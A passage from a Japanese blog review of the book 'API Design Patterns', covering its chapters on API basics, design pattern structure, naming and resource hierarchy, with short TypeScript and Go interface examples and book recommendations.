第3版―歴史とコードに学ぶインターネットとウェブ技術」も併せてお薦めします。この書は、APIの基盤となるHTTPの歴史と技術を深く掘り下げており、APIデザインの文脈をより広い視野で捉えるのに役立ちます。www.oreilly.co.jp執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。それを指摘して悦に浸ってるの最高です。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。目次Xで時折紹介する本の中には、わずか1行で要点を伝えられるものもある。しかし、その本の私においての価値は必ずしもその長さで測れるものではない。紹介が短い本が劣っているわけでもなければ、長い本が常に優れているわけでもない。重要なのは、その本が読者にどれだけの影響を与え、どれほどの思考を喚起するかだ。はじめに「はじめに」にあるべき全体像よりよいAPIを設計するためのアイデア日本語版むすび執筆プロセスと建設的な対話のお願い目次Part 1 Introduction1 Introduction to APIsWeb APIの特性と重要性API設計アプローチの比較「良い」APIの特性運用可能性とSREの視点表現力と使いやすさシンプル性と柔軟性のバランス予測可能性とコード一貫性著者の主張に対する補完的視点総括と実践への応用継続的改善と進化の重要性結論2 Introduction to API design patternsAPI設計パターンの定義と重要性API設計パターンの構造実践的な適用:Twapiの事例研究メッセージのリスト化データのエクスポートAPI設計パターンの適用:早期採用の重要性結論Part 2 Design principles3 Naming命名の重要性良い名前の特性言語、文法、構文の選択コンテキストと命名データ型と単位結論4 Resource scope and hierarchyリソースレイアウトの重要性リソース間の関係性エンティティ関係図の活用適切な関係性の選択アンチパターンの回避実践的な応用と考察結論5 Data types and defaultsデータ型の重要性と課題プリミティブデータ型の扱いコレクションと構造体実践的な応用と考察結論Part 3 Fundamentals6 Resource identification識別子の重要性と特性実装の詳細識別子の階層と一意性のスコープUUIDとの比較実践的な応用と考察結論7 Standard methods標準メソッドの重要性と概要実装の詳細とベストプラクティス標準メソッドの適用と課題実践的な応用と考察結論8 Partial updates and retrievals部分的な更新と取得の動機フィールドマスクの実装部分的な更新と取得の課題実践的な応用と考察フィールドマスクの高度な使用法部分的な更新と取得の影響結論9 Custom methodsカスタムメソッドの必要性と動機カスタムメソッドの実装副作用の取り扱いリソースvs.コレクションステートレスカスタムメソッド実践的な応用と考察結論10 Long-running operations長時間実行操作の必要性と概要LROの実装LROの状態管理と結果の取得LROの制御と管理実践的な応用と考察結論11 Rerunnable jobs再実行可能なジョブの必要性と概要ジョブリソースの実装ジョブの実行とLRO実行リソースの導入実践的な応用と考察結論Part 4 Resource relationships12 Singleton sub-resourcesシングルトンサブリソースの必要性と概要シングルトンサブリソースの実装シングルトンサブリソースの利点と課題実践的な応用と考察結論13 Cross referencesリソース間参照の必要性と概要リソース間参照の実装リソース間参照の利点と課題実践的な応用と考察結論14 Association resources関連リソースの必要性と概要関連リソースの実装関連リソースの利点と課題実践的な応用と考察結論15 Add and remove custom methods動機と概要実装の詳細利点と課題実践的な応用と考察結論16 Polymorphismポリモーフィズムの必要性と概要ポリモーフィックリソースの実装ポリモーフィズムの利点と課題実践的な応用と考察ポリモーフィックメソッドの回避結論Part 5 Collective operations17 Copy and moveコピーと移動操作の必要性と概要実装の詳細と課題実践的な応用と考察結論18 Batch operationsバッチ操作の必要性と概要バッチ操作の設計原則実装の詳細バッチ操作の影響とトレードオフ実践的な応用と考察結論19 Criteria-based deletion条件に基づく削除の必要性と概要purge操作の設計と実装purge操作の影響とトレードオフ実践的な応用と考察結論20 Anonymous writes匿名データの必要性と概要write メソッドの実装一貫性と運用上の考慮事項実践的な応用と考察結論21 Paginationページネーションの必要性と概要ページネーションの実装ページネーションの影響とトレードオフ実践的な応用と考察ページネーションと全体的なシステムアーキテクチャ結論22 Filteringフィルタリングの必要性と概要フィルタリングの実装フィルタリングの影響とトレードオフ実践的な応用と考察フィルタリングとシステムアーキテクチャ結論23 Importing and exportingインポートとエクスポートの必要性と概要インポートとエクスポートの実装インポートとエクスポートの影響とトレードオフ実践的な応用と考察結論Part 6 Safety and security24 Versioning and compatibilityバージョニングの必要性と互換性の概念後方互換性の定義バージョニング戦略バージョニングのトレードオフ結論25 Soft deletionソフト削除の動機と概要ソフト削除の実装ソフト削除の影響とトレードオフ実践的な応用と考察ソフト削除とシステムアーキテクチャ結論26 Request deduplicationリクエスト重複排除の必要性と概要リクエスト重複排除の実装リクエスト重複排除の影響とトレードオフ実践的な応用と考察リクエスト重複排除とシステムアーキテクチャ結論27 Request validationリクエスト検証の必要性と概要リクエスト検証の実装リクエスト検証の影響とトレードオフ実践的な応用と考察リクエスト検証とシステムアーキテクチャ結論28 Resource revisionsリソースリビジョンの必要性と概要リソースリビジョンの実装リソースリビジョンの影響とトレードオフ実践的な応用と考察リソースリビジョンとシステムアーキテクチャ結論29 Request retrialリクエスト再試行の必要性と概要クライアント側の再試行タイミングサーバー指定の再試行タイミング再試行可能なリクエストの判断実践的な応用と考察結論30 Request authenticationリクエスト認証の必要性と概要デジタル署名の実装リクエストのフィンガープリンティング実践的な応用と考察結論おわりにそもそも、Design Patternsは設計ではないですよね?あとね、方法論は確かに重要ですが、それは単なる「ハウツー」ではありません。優れた方法論は、基本的な原理・原則に基づいており、それらを実践的な形で具現化したものです。つまり、方法論を学ぶことは、その背後にある原理を理解し、それを様々な状況に適用する能力を養うことにつながります。例えば、アジャイル開発やDevOpsといった方法論は、ソフトウェア開発における重要な考え方や原則を実践的なフレームワークとして提供しています。これらの方法論を適切に理解し適用することで、チームの生産性や製品の品質を向上させることができます。しかし、ここで重要なのは、これらの方法論を単なる手順やルールの集合として捉えるのではなく、その根底にある思想や目的を理解することです。そうすることで、方法論を状況に応じて柔軟に適用したり、必要に応じて改良したりすることが可能になります。また、方法論は時代とともに進化します。新しい技術や課題が登場するたびに、既存の方法論が更新されたり、新しい方法論が生まれたりします。したがって、特定の方法論に固執するのではなく、常に学び続け、新しい知識や手法を取り入れる姿勢が重要です。結局のところ、原理・原則と方法論は相互に補完し合う関係にあります。原理・原則は長期的に通用する基盤を提供し、方法論はそれを実践的に適用する手段を提供します。両者をバランスよく学び、理解することで、より効果的かつ柔軟なソフトウェア開発が可能になるのです。言いたいことは言ったので本編どうぞ!Part 1 Introductionこのパートでは、APIの基本概念、重要性、そして「良い」APIの特性について説明しています。APIは「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義され、その重要性が強調されています。Web APIの特性、RPC指向とリソース指向のアプローチの比較、そして運用可能性、表現力、シンプル性、予測可能性といった「良い」APIの特性が詳細に解説されています。1 Introduction to APIs「API Design Patterns」の第1章「Introduction to APIs」は、APIの基本概念から始まり、その重要性、設計哲学、そして「良い」APIの特性に至るまで、幅広いトピックをカバーしています。著者は、Google Cloud Platformのエンジニアとして長年APIの設計と実装に携わってきた経験を活かし、理論と実践の両面からAPIの本質に迫っています。まず、APIの定義から始めましょう。著者は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と説明しています。この一見シンプルな定義の背後には、Google Cloud Platform上の数多くのAPIを設計・実装してきた著者の深い洞察が隠れています。例えば、Google Cloud StorageやBigQueryなどのサービスのAPIは、この定義を体現しており、複雑なクラウドリソースへのアクセスを簡潔なインターフェースで提供しています。この定義は、非常に重要です。なぜなら、私たちの日々の業務の多くは、APIを設計し、実装し、そして維持することに費やされているからです。「APIに遊ばれるだけの日々」という表現は、多くのエンジニアの共感を呼ぶでしょう。しかし、著者の示す視点は、APIを単なる技術的な構成要素ではなく、システム設計の中核を成す重要な概念として捉え直すきっかけを与えてくれます。Googleが提供しているAPI設計ガイドも、非常に優れたAPIの例を紹介しています。このガイドは、著者が所属している Google のエンジニアたちが長年の経験から得た知見をまとめたものであり、「API Design Patterns」の内容を補完する貴重なリソースとなっています。cloud.google.comこのガイドと本書を併せて読むことで、APIの設計に関するより包括的な理解が得られます。例えば、ガイドで推奨されている命名規則やエラー処理の方法は、本書で説明されている「良い」APIの特性と密接に関連しています。この章は、APIの基本を学ぶ初心者から、より良いAPI設計を模索する経験豊富な開発者まで、幅広い読者に価値を提供します。著者の洞察は、私たちがAPIをより深く理解し、より効果的に設計・実装するための道標となるでしょう。Web APIの特性と重要性特に印象的だったのは、著者がWeb APIの重要性と特性を強調していることです。Web APIは、ネットワーク越しに機能を公開し、その内部の仕組みや必要な計算能力を外部から見えないようにするという特性を持っています。これは、マイクロサービスアーキテクチャやクラウドを活用した最新のアプリケーションの観点から考えると、非常に重要な概念です。例えば、マイクロサービスは、その内部の仕組みの詳細を隠しつつ、明確に定義された使い方(API)を通じて他のサービスとやり取りします。これにより、サービス同士の依存関係を少なく保ちながら、システム全体の柔軟性と拡張性を高めることができます。著者は、Web APIの特徴として、API提供者が大きな制御力を持つ一方で、利用者の制御力は限られていることを指摘しています。これは実務において重要な考慮点です。例えば、APIの変更が利用者に与える影響を慎重に管理する必要があります。APIのバージョン管理や段階的な導入などの技術を適切に活用することで、APIの進化と利用者のシステムの安定性のバランスを取ることが求められます。API設計アプローチの比較著者は、APIの設計アプローチとして、RPC (Remote Procedure Call) 指向とリソース指向の2つを比較しています。この比較は非常に興味深く、実際の開発現場での議論を想起させます。例えば、gRPCはRPC指向のAPIを提供し、高性能な通信を実現します。一方で、REST APIはリソース指向のアプローチを取り、HTTPプロトコルの特性を活かした設計が可能です。著者が提唱するリソース指向APIの利点、特に標準化された操作(CRUD操作)とリソースの組み合わせによる学習曲線の緩和は、実際の開発現場でも感じる点です。例えば、新しいマイクロサービスをチームに導入する際、リソース指向のAPIであれば、開発者は既存の知識(標準的なHTTPメソッドの使い方など)を活かしつつ、新しいリソースの概念を学ぶだけで素早く適応できます。「良い」APIの特性「良い」APIの特性に関する著者の見解は、特に重要です。著者は、良いAPIの特性として以下の4点を挙げています。運用可能性(Operational)表現力(Expressive)シンプル性(Simple)予測可能性(Predictable)これらの特性は、現代のソフトウェア開発において非常に重要です。運用可能性とSREの視点運用可能性に関しては、APIが機能的に正しいだけでなく、パフォーマンス、スケーラビリティ、信頼性などの非機能要件を満たすことが、実際の運用環境では極めて重要です。例えば、並行処理機能を活用して高性能なAPIを実装し、OpenTelemetryやPrometheusなどのモニタリングツールと連携してメトリクスを収集することで、運用可能性の高いAPIを実現できます。syu-m-5151.hatenablog.com表現力と使いやすさ表現力に関する著者の議論は、API設計の核心を突いています。APIは単に機能を提供するだけでなく、その機能を明確かつ直感的に表現する必要があります。例えば、言語検出機能を提供する場合、TranslateTextメソッドを使って間接的に言語を検出するのではなく、DetectLanguageという専用のメソッドを提供することで、APIの意図がより明確になります。この点は、特にマイクロサービスアーキテクチャにおいて重要です。各サービスのAPIが明確で表現力豊かであれば、サービス間の統合がスムーズになり、システム全体の理解と保守が容易になります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazonシンプル性と柔軟性のバランス著者が提案する「共通のケースを素晴らしく、高度なケースを可能にする」というアプローチは、実際のAPI設計で常に意識すべき点です。例えば、翻訳APIの設計において、単純な言語間翻訳と、特定の機械学習モデルを指定した高度な翻訳の両方をサポートする方法が示されています。このアプローチは、APIの使いやすさと柔軟性のバランスを取る上で非常に有用です。このようなデザインは運用の複雑さを軽減し、エラーの可能性を減らすことができます。この辺はとても良いので書籍をご確認下さい。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor FoucherオライリージャパンAmazon予測可能性とコード一貫性予測可能性に関する著者の主張は、特に共感できる点です。APIの一貫性、特にフィールド名やメソッド名の命名規則の統一は、開発者の生産性に直接影響します。多くの開発チームでは、コードスタイルの一貫性を保つ文化が根付いています。これは、APIの設計にも同様に適用されるべき考え方です。予測可能なAPIは、学習コストを低減し、誤用の可能性を減らします。これは、大規模なシステムやマイクロサービス環境で特に重要です。一貫したパターンを持つAPIは、新しいサービスの統合や既存サービスの拡張を容易にします。著者の主張に対する補完的視点しかし、著者の主張に対して、いくつかの疑問や補完的な視点も考えられます。例えば、リソース指向APIが常に最適解であるかどうかは、議論の余地があります。特に、リアルタイム性が求められる場合や、複雑なビジネスロジックを扱う場合など、RPC指向のアプローチが適している場合もあります。gRPCを使用したストリーミングAPIなど、リソース指向とRPC指向のハイブリッドなアプローチも有効な選択肢となりうるでしょう。また、著者はAPI設計の技術的側面に焦点を当てていますが、組織的な側面についても言及があれば良かったと思います。例えば、マイクロサービスアーキテクチャにおいて、異なるチームが管理する複数のサービス間でAPIの一貫性を保つためには、技術的な設計パターンだけでなく、組織的なガバナンスや設計レビューのプロセスも重要です。さらに、APIのバージョニングや後方互換性の維持に関する詳細な議論があれば、より実践的な内容になったかもしれません。これらの点は、システムの安定性と進化のバランスを取る上で極めて重要です。総括と実践への応用総括すると、この章はAPIの基本概念と設計原則に関する優れた導入を提供しています。著者の主張は、日々の実践に直接適用できる洞察に満ちています。特に、「良い」APIの特性に関する議論は、API設計の指針として非常に有用です。これらの原則を意識しながら設計することで、使いやすく、拡張性があり、運用しやすいAPIを実現できるでしょう。また、リソース指向APIの利点に関する著者の主張は、RESTful APIの設計において特に参考になります。多くの現代的なWebフレームワークを使用してRESTful APIを実装することが一般的ですが、これらのフレームワークを使用する際も、著者が提唱するリソース指向の原則を意識することで、より一貫性のある設計が可能になります。しかし、実際の開発現場では、これらの原則を機械的に適用するだけでなく、具体的なユースケースや要件に応じて適切なトレードオフを判断することが重要です。例えば、パフォーマンスが極めて重要な場合は、RESTful APIよりもgRPCを選択するなど、状況に応じた柔軟な判断が求められます。さらに、APIの設計は技術的な側面だけでなく、ビジネス要件やユーザーのニーズとも密接に関連しています。したがって、API設計のプロセスには、技術チームだけでなく、プロダクトマネージャーやユーザー体験(UX)の専門家など、多様なステークホルダーを巻き込むことが重要です。継続的改善と進化の重要性最後に、APIの設計は一度で完成するものではなく、継続的な改善と進化のプロセスであることを強調したいと思います。APIの性能モニタリング、エラーレート分析、使用パターンの観察などを通じて、常にAPIの品質と有効性を評価し、必要に応じて改善を加えていくことが重要です。この章で学んだ原則と概念を、単なる理論ではなく、実際の開発プラクティスに統合していくことが、次のステップとなるでしょう。例えば、APIデザインレビューのチェックリストを作成し、チーム内で共有することや、APIのスタイルガイドを作成し、一貫性のある設計を促進することなどが考えられます。また、この章の内容を踏まえて、既存のAPIを評価し、改善の余地がないかを検討することも有用です。特に、予測可能性やシンプル性の観点から、現在のAPIが最適化されているかを見直すことで、大きな改善につながる可能性があります。結論結論として、この章はAPIデザインの基本原則を理解し、実践するための優れた出発点を提供しています。ここで学んだ概念を実践に適用することで、より堅牢で使いやすい、そして運用しやすいAPIを設計・実装することができるでしょう。そして、これらの原則を日々の開発プラクティスに組み込むことで、長期的にはプロダクトの品質向上とチームの生産性向上につながると確信しています。この章の内容は、単にAPIの設計だけでなく、ソフトウェアアーキテクチャ全体に適用できる重要な原則を提供しています。システムの相互運用性、保守性、スケーラビリティを向上させるために、これらの原則を広く適用することが可能です。2 Introduction to API design patterns「API Design Patterns」の第2章「Introduction to API design patterns」は、API設計パターンの基本概念から始まり、その重要性、構造、そして実際の適用に至るまで、幅広いトピックをカバーしています。この章を通じて、著者はAPI設計パターンの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。API設計パターンの定義と重要性API設計パターンは、ソフトウェア設計パターンの一種であり、APIの設計と構造化に関する再利用可能な解決策を提供します。著者は、これらのパターンを「適応可能な設計図」と巧みに表現しています。この比喩は、API設計パターンの本質を非常によく捉えています。建築の設計図が建物の構造を定義するように、API設計パターンはAPIの構造とインターフェースを定義します。しかし、重要な違いは、API設計パターンが固定的ではなく、様々な状況に適応可能であるという点です。著者は、API設計パターンの重要性をAPIの硬直性という観点から説明しています。これは非常に重要な指摘です。APIは一度公開されると、変更が困難になります。これは、APIの消費者(クライアントアプリケーションなど)が既存のインターフェースに依存しているためです。この硬直性は、システムの進化や新機能の追加を困難にする可能性があります。この問題を考えると、APIの硬直性はシステムの運用性と信頼性に直接影響を与えます。例えば、不適切に設計されたAPIは、将来的なスケーリングや性能最適化を困難にする可能性があります。また、APIの変更が必要になった場合、既存のクライアントとの互換性を維持しながら変更を行う必要があり、これは運用上の大きな課題となります。この問題に対処するため、著者は設計パターンを初期段階から採用することの重要性を強調しています。これは、将来の変更や拡張を容易にし、システムの長期的な保守性を向上させる上で非常に重要です。このアプローチはシステムの安定性と信頼性を長期的に確保するための重要な戦略です。API設計パターンの構造著者は、API設計パターンの構造を詳細に説明しています。特に興味深いのは、パターンの記述に含まれる要素です。名前とシノプシス動機概要実装トレードオフこの構造は、パターンを理解し適用する上で非常に有用です。特に、トレードオフの項目は重要です。ソフトウェア工学において、すべての決定にはトレードオフが伴います。パターンを適用する際も例外ではありません。脱線しますがアーキテクチャのトレードオフについてはこちらがオススメです。ソフトウェアアーキテクチャの基礎 ―エンジニアリングに基づく体系的アプローチ作者:Mark Richards,Neal FordオライリージャパンAmazonトレードオフの理解はリスク管理と密接に関連しています。例えば、あるパターンを採用することで、システムの柔軟性が向上する一方で、複雑性も増加するかもしれません。このトレードオフを理解し、適切に管理することは、システムの信頼性とパフォーマンスを最適化する上で重要です。実践的な適用:Twapiの事例研究著者は、Twitter風のAPIであるTwapiを爆誕させて例に取り、API設計パターンの実践的な適用を示しています。この事例研究は、理論を実践に移す上で非常に有用です。特に興味深いのは、メッセージのリスト化とエクスポートの2つの機能に焦点を当てている点です。これらの機能は、多くのAPIで共通して必要とされるものであり、実際の開発シーンでも頻繁に遭遇する課題です。メッセージのリスト化著者は、まずパターンを適用せずにメッセージをリスト化する機能を実装し、その後にページネーションパターンを適用した実装を示しています。このコントラストは非常に教育的です。パターンを適用しない初期の実装は、以下のようになっています。interface ListMessagesResponse { results: Message[];}この実装は一見シンプルですが、著者が指摘するように、データ量が増加した場合に問題が発生します。例えば、数十万件のメッセージを一度に返そうとすると、レスポンスのサイズが巨大になり、ネットワークの帯域幅を圧迫し、クライアント側での処理も困難になります。これに対し、ページネーションパターンを適用した実装は以下のようになります。interface ListMessagesRequest { parent: string; pageToken: string; maxPageSize?: number;}interface ListMessagesResponse { results: Message[]; nextPageToken: string;}この実装では、クライアントはpageTokenとmaxPageSizeを指定することで、必要な量のデータを段階的に取得できます。これにより、大量のデータを効率的に扱うことが可能になります。このパターンの適用はシステムの安定性とスケーラビリティに大きく貢献します。大量のデータを一度に送信する必要がなくなるため、ネットワーク負荷が軽減され、サーバーのリソース消費も抑えられます。また、クライアント側でも処理するデータ量が制御可能になるため、アプリケーションのパフォーマンスと安定性が向上します。データのエクスポートデータのエクスポート機能に関しても、著者は同様のアプローチを取っています。まずパターンを適用しない実装を示し、その後にImport/Exportパターンを適用した実装を提示しています。パターンを適用しない初期の実装は以下のようになっています。interface ExportMessagesResponse { exportDownloadUri: string;}この実装は、エクスポートされたデータのダウンロードURLを返すだけの単純なものです。しかし、著者が指摘するように、この方法には幾つかの制限があります。例えば、エクスポート処理の進捗状況を確認できない、エクスポート先を柔軟に指定できない、データの圧縮や暗号化オプションを指定できないなどの問題があります。これに対し、Import/Exportパターンを適用した実装は以下のようになります。interface ExportMessagesRequest { parent: string; outputConfig: MessageOutputConfig;}interface MessageOutputConfig { destination: Destination; compressionConfig?: CompressionConfig; encryptionConfig?: EncryptionConfig;}interface ExportMessagesResponse { outputConfig: MessageOutputConfig;}この実装では、エクスポート先やデータの処理方法を柔軟に指定できるようになっています。さらに、著者は長時間実行操作パターンを組み合わせることで、エクスポート処理の進捗状況を追跡する方法も提示しています。このパターンの適用はシステムの運用性と可観測性を大幅に向上させます。エクスポート処理の進捗を追跡できるようになることで、問題が発生した際の迅速な対応が可能になります。また、エクスポート設定の柔軟性が増すことで、様々なユースケースに対応できるようになり、システムの利用可能性が向上します。API設計パターンの適用:早期採用の重要性著者は、API設計パターンの早期採用の重要性を強調しています。これは非常に重要な指摘です。APIを後から変更することは困難であり、多くの場合、破壊的な変更を伴います。例えば、ページネーションパターンを後から導入しようとした場合、既存のクライアントは全てのデータが一度に返ってくることを期待しているため、新しいインターフェースに対応できません。これは、後方互換性の問題を引き起こします。この問題はシステムの安定性と信頼性に直接影響します。APIの破壊的変更は、依存するシステムやサービスの機能停止を引き起こす可能性があります。これは、サービスレベル目標(SLO)の違反につながる可能性があります。したがって、API設計パターンの早期採用は、長期的な視点でシステムの安定性と進化可能性を確保するための重要な戦略と言えます。これは、「設計負債」を最小限に抑え、将来の拡張性を確保することにつながります。結論本章は、API設計パターンの基本的な概念と重要性を明確に示しています。特に、APIの硬直性という特性に焦点を当て、設計パターンの早期採用がいかに重要であるかを強調している点は非常に重要です。この章で学んだ内容は、システムの長期的な信頼性、可用性、保守性を確保する上で非常に重要です。API設計パターンを適切に適用することで、システムのスケーラビリティ、運用性、可観測性を向上させることができます。しかし、パターンの適用に当たっては、常にトレードオフを考慮する必要があります。パターンを適用することで複雑性が増す可能性もあるため、システムの要件や制約を十分に理解した上で、適切なパターンを選択することが重要です。API設計は単なる技術的な問題ではなく、システム全体のアーキテクチャ、開発プロセス、運用実践に深く関わる問題であることを認識することが重要です。Part 2 Design principlesここでは、APIデザインの核心となる原則が議論されています。命名規則、リソースのスコープと階層、データ型とデフォルト値、リソースの識別子、標準メソッド、部分的な更新と取得、カスタムメソッドなどの重要なトピックが取り上げられています。これらの原則は、一貫性があり、使いやすく、拡張性のあるAPIを設計する上で不可欠です。3 Naming「API Design Patterns」の第3章「Naming」は、API設計における命名の重要性、良い名前の特性、言語・文法・構文の選択、コンテキストの影響、データ型と単位の扱い、そして不適切な命名がもたらす結果について幅広く論じています。この章を通じて、著者は命名が単なる表面的な問題ではなく、APIの使いやすさ、保守性、そして長期的な成功に直接影響を与える重要な設計上の決定であることを明確に示しています。命名の重要性著者は、命名がソフトウェア開発において避けられない、そして極めて重要な側面であることから議論を始めています。特にAPIの文脈では、選択された名前はAPIの利用者が直接目にし、相互作用する部分であるため、その重要性は倍増します。「ルールズ・オブ・プログラミング」では\\"優れた名前こそ最高のドキュメントである\\"と述べられていますが、まさにその通りだと言えるでしょう。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazonこの点は、特にマイクロサービスアーキテクチャやクラウドネイティブ開発の文脈で重要です。これらの環境では、多数のサービスやコンポーネントが相互に通信し、それぞれのインターフェースを通じて機能を提供します。適切な命名は、これらのサービス間の関係を明確にし、システム全体の理解を促進します。例えば、Kubernetes環境で動作するマイクロサービスを考えてみましょう。サービス名、エンドポイント名、パラメータ名などの命名が適切であれば、開発者はシステムの全体像を把握しやすくなり、新しい機能の追加や既存機能の修正がスムーズに行えます。逆に、命名が不適切であれば、サービス間の依存関係の理解が困難になり、システムの複雑性が不必要に増大する可能性があります。著者は、APIの名前を変更することの困難さについても言及しています。これは、後方互換性の維持という観点から非常に重要な指摘です。一度公開されたAPIの名前を変更することは、そのAPIに依存する全てのクライアントに影響を与える可能性があります。これは、システムの安定性と信頼性に直接関わる問題です。この点は、特にバージョニング戦略と密接に関連しています。例えば、セマンティックバージョニングを採用している場合、名前の変更は通常メジャーバージョンの更新を必要とします。これは、その変更が後方互換性を破壊する可能性があることを意味します。したがって、初期の段階で適切な命名を行うことは、将来的なバージョン管理の複雑さを軽減し、システムの長期的な保守性を向上させる上で極めて重要です。良い名前の特性著者は、良い名前の特性として「表現力」「シンプルさ」「予測可能性」の3つを挙げています。これらの特性は、APIの設計全体にも適用できる重要な原則です。表現力は、名前が表す概念や機能を明確に伝える能力を指します。例えば、CreateAccountという名前は、アカウントを作成するという機能を明確に表現しています。この表現力は、APIの自己文書化につながり、開発者がAPIを直感的に理解し、使用することを可能にします。シンプルさは、不必要な複雑さを避け、本質的な意味を簡潔に伝える能力です。著者はUserPreferencesという例を挙げていますが、これはUserSpecifiedPreferencesよりもシンプルでありながら、十分に意味を伝えています。シンプルな名前は、コードの可読性を高め、APIの学習曲線を緩やかにします。予測可能性は、APIの一貫性に関わる重要な特性です。著者は、同じ概念には同じ名前を、異なる概念には異なる名前を使用することの重要性を強調しています。これは、APIの学習可能性と使いやすさに直接影響します。これらの特性は、マイクロサービスアーキテクチャにおいて特に重要です。多数のサービスが存在する環境では、各サービスのAPIが一貫した命名規則に従っていることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで、リソースの作成にCreate、更新にUpdate、削除にDeleteというプレフィックスを使用するといった一貫性は、開発者の生産性を大きく向上させます。Golangの文脈では、これらの原則は特に重要です。Goの設計哲学は、シンプルさと明確さを重視しており、これはAPI設計にも反映されるべきです。例えば、Goの標準ライブラリでは、http.ListenAndServeやjson.Marshalのような、動詞+名詞の形式で簡潔かつ表現力豊かな名前が多用されています。これらの名前は、その機能を明確に表現しながらも、不必要に長くならないよう配慮されています。言語、文法、構文の選択著者は、API設計における言語、文法、構文の選択について詳細に論じています。特に興味深いのは、アメリカ英語を標準として使用することの推奨です。これは、グローバルな相互運用性を最大化するための実用的な選択として提示されています。この選択は、国際的なチームが協働するモダンな開発環境において特に重要です。例えば、多国籍企業のマイクロサービス環境では、各サービスのAPIが一貫した言語で設計されていることが、チーム間のコミュニケーションと統合を円滑にします。文法に関しては、著者は動詞の使用法、特に命令法の重要性を強調しています。例えば、CreateBookやDeleteWeatherReadingのような名前は、アクションの目的を明確に示します。これは、RESTful APIの設計原則とも整合しており、HTTP動詞とリソース名の組み合わせによる直感的なAPIデザインを促進します。構文に関しては、一貫したケース(camelCase, snake_case, kebab-case)の使用が推奨されています。これは、APIの一貫性と予測可能性を高めるために重要です。例えば、Golangでは通常、公開される関数やメソッドには PascalCase を、非公開のものには camelCase を使用します。この規則を API 設計にも適用することで、Go 開発者にとって馴染みやすい API を作成できます。type UserService interface { CreateUser(ctx context.Context, user *User) error GetUserByID(ctx context.Context, id string) (*User, error) UpdateUserProfile(ctx context.Context, id string, profile *UserProfile) error}このような一貫した命名規則は、API の使用者が新しいエンドポイントや機能を容易に予測し、理解することを可能にします。コンテキストと命名著者は、命名におけるコンテキストの重要性を強調しています。同じ名前でも、異なるコンテキストで全く異なる意味を持つ可能性があるという指摘は、特にマイクロサービスアーキテクチャにおいて重要です。例えば、Userという名前は、認証サービスでは認証情報を持つエンティティを指す可能性がありますが、注文管理サービスでは顧客情報を指す可能性があります。このような場合、コンテキストを明確にするために、AuthUserやCustomerUserのように、より具体的な名前を使用することが望ましいでしょう。これは、ドメイン駆動設計(DDD)の概念とも密接に関連しています。DDDでは、各ドメイン(またはバウンデッドコンテキスト)内で一貫した用語を使用することが推奨されます。API設計においても、この原則を適用し、各サービスやモジュールのドメインに適した名前を選択することが重要です。例えば、Eコマースシステムのマイクロサービスアーキテクチャを考えてみましょう:注文サービス: Order, OrderItem, PlaceOrder在庫サービス: InventoryItem, StockLevel, ReserveStock支払サービス: Payment, Transaction, ProcessPayment各サービスは、そのドメインに特化した用語を使用しています。これにより、各サービスの責任範囲が明確になり、他のサービスとの境界も明確になります。データ型と単位著者は、データ型と単位の扱いについても詳細に論じています。特に、単位を名前に含めることの重要性が強調されています。これは、API の明確さと安全性を高める上で非常に重要です。例えば、サイズを表すフィールドを単に size とするのではなく、sizeBytes や sizeMegapixels のように単位を明示することで、そのフィールドの意味と使用方法が明確になります。これは、特に異なるシステム間で情報をやり取りする際に重要です。著者が挙げている火星気候軌道船の例は、単位の不一致がもたらす重大な結果を示す極端な例ですが、日常的な開発においても同様の問題は起こりうます。例えば、あるサービスが秒単位で時間を扱い、別のサービがミリ秒単位で扱っている場合、単位が明示されていないと深刻なバグの原因となる可能性があります。Golangにおいて、このような問題に対処するための一つの方法は、カスタム型を使用することです。例えば:type Bytes int64type Megapixels float64type Image struct { Content []byte SizeBytes Bytes Dimensions struct { Width Megapixels Height Megapixels }}このようなアプローチは、型安全性を高め、単位の誤用を防ぐのに役立ちます。さらに、これらの型に特定のメソッドを追加することで、単位変換や値の検証を容易に行うことができます。結論著者は、良い命名の重要性と、それがAPIの品質全体に与える影響を明確に示しています。良い名前は、単にコードを読みやすくするだけでなく、APIの使いやすさ、保守性、そして長期的な進化可能性に直接影響を与えます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切な命名がシステム全体の理解と管理を容易にする鍵となります。一貫性のある、表現力豊かで、かつシンプルな名前を選択することで、開発者はAPIを直感的に理解し、効率的に使用することができます。また、単位やデータ型を明確に示す名前を使用することは、システムの安全性と信頼性を高める上で重要です。これは、特に異なるシステムやチーム間でデータをやり取りする際に、誤解や誤用を防ぐ効果的な手段となります。Golangの文脈では、言語の設計哲学であるシンプルさと明確さを反映したAPI設計が重要です。標準ライブラリの命名規則に倣い、簡潔でかつ表現力豊かな名前を選択することで、Go開発者にとって親和性の高いAPIを設計することができます。最後に、命名は技術的な問題であると同時に、コミュニケーションの問題でもあります。適切な命名は、開発者間、チーム間、さらには組織間のコミュニケーションを促進し、プロジェクトの成功に大きく寄与します。したがって、API設計者は命名に十分な時間と注意を払い、長期的な視点でその影響を考慮する必要があります。4 Resource scope and hierarchy「API Design Patterns」の第4章「Resource scope and hierarchy」は、APIにおけるリソースのスコープと階層構造に焦点を当て、リソースレイアウトの概念、リソース間の関係性の種類、エンティティ関係図の活用方法、適切なリソース関係の選択基準、そしてリソースレイアウトのアンチパターンについて詳細に論じています。この章を通じて、著者はリソース中心のAPI設計の重要性と、それがシステムの拡張性、保守性、そして全体的なアーキテクチャにどのように影響を与えるかを明確に示しています。Figure 4.2 Users, payment methods, and addresses all have different 